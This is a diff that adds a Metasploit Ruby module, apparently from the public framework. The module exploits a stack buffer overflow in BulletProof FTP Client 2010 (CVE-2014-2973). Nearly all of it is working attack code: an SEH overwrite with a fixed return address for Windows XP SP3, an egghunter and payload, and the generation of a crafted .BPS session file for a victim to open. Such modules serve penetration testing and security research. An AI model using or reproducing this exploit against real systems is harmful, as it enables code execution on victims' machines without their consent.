|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::FILEFORMAT |
| 12 | + include Msf::Exploit::Remote::Seh |
| 13 | + include Msf::Exploit::Remote::Egghunter |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'BulletProof FTP Client BPS Buffer Overflow', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a stack-based buffer overflow vulnerability in |
| 20 | + BulletProof FTP Client 2010, caused by an overly long hostname. |
| 21 | + By persuading the victim to open a specially-crafted .BPS file, a |
| 22 | + remote attacker could execute arbitrary code on the system or cause |
| 23 | + the application to crash. This module has been tested successfully on |
| 24 | + Windows XP SP3. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Gabor Seljan' |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'EDB', '34162' ], |
| 34 | + [ 'EDB', '34540' ], |
| 35 | + [ 'EDB', '35449' ], |
| 36 | + [ 'OSVDB', '109547' ], |
| 37 | + [ 'CVE', '2014-2973' ], |
| 38 | + ], |
| 39 | + 'DefaultOptions' => |
| 40 | + { |
| 41 | + 'ExitFunction' => 'process' |
| 42 | + }, |
| 43 | + 'Platform' => 'win', |
| 44 | + 'Payload' => |
| 45 | + { |
| 46 | + 'BadChars' => "\x00\x0a\x0d\x1a", |
| 47 | + 'Space' => 2000 |
| 48 | + }, |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + [ 'Windows XP SP3', |
| 52 | + { |
| 53 | + 'Offset' => 89, |
| 54 | + 'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll] |
| 55 | + } |
| 56 | + ] |
| 57 | + ], |
| 58 | + 'Privileged' => false, |
| 59 | + 'DisclosureDate' => 'Jul 24 2014', |
| 60 | + 'DefaultTarget' => 0)) |
| 61 | + |
| 62 | + register_options( |
| 63 | + [ |
| 64 | + OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps']) |
| 65 | + ], |
| 66 | + self.class) |
| 67 | + |
| 68 | + end |
| 69 | + |
| 70 | + def exploit |
| 71 | + |
| 72 | + eggoptions = |
| 73 | + { |
| 74 | + :checksum => true, |
| 75 | + :eggtag => "w00t" |
| 76 | + } |
| 77 | + |
| 78 | + hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) |
| 79 | + |
| 80 | + sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n" |
| 81 | + sploit << rand_text_alpha(target['Offset']) |
| 82 | + sploit << generate_seh_record(target.ret) |
| 83 | + sploit << hunter + "\r\n" # FTP Server HOST / IP |
| 84 | + sploit << rand_text_numeric(5) + "\r\n" # Port number |
| 85 | + sploit << egg + "\r\n" # Login name |
| 86 | + sploit << rand_text_alpha(8) + "\r\n" # Login password |
| 87 | + |
| 88 | + # Create the file |
| 89 | + print_status("Creating '#{datastore['FILENAME']}' file ...") |
| 90 | + file_create(sploit) |
| 91 | + |
| 92 | + end |
| 93 | +end |
0 commit comments